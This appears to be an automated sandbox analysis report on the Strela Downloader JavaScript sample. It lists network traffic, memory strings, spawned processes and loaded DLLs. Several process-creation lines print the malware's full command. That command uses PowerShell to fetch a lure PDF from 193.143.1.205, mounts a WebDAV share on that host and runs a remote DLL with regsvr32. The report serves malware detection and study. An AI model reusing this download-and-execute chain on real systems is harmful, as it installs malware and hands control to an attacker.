02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49701

Source: global traffic

TCP traffic: 192.168.2.7:49701 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49699 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1268997528.0000020A271C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000D.00000003.1353108019.0000019DBDA2E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1374592877.0000019DBDA30000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000003.1366711676.0000019DBDA02000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1373189184.0000019DBD9D8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1373341630.0000019DBDA02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000D.00000002.1373189184.0000019DBD9D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Num.
Source: svchost.exe, 0000000F.00000002.2552426766.000002CF8DC00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.14.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.15.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.14.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000F.00000003.1363056510.000002CF8DAA0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.15.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.11.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 1460, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10372289876196.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10372289876196.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 709291801716322197.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5464:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bjjsogus.kgs.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 709291801716322197.js

Virustotal: Detection: 9%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\709291801716322197.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10372289876196.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1632,i,10589699250535249352,15620526891858889764,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10372289876196.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1632,i,10589699250535249352,15620526891858889764,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
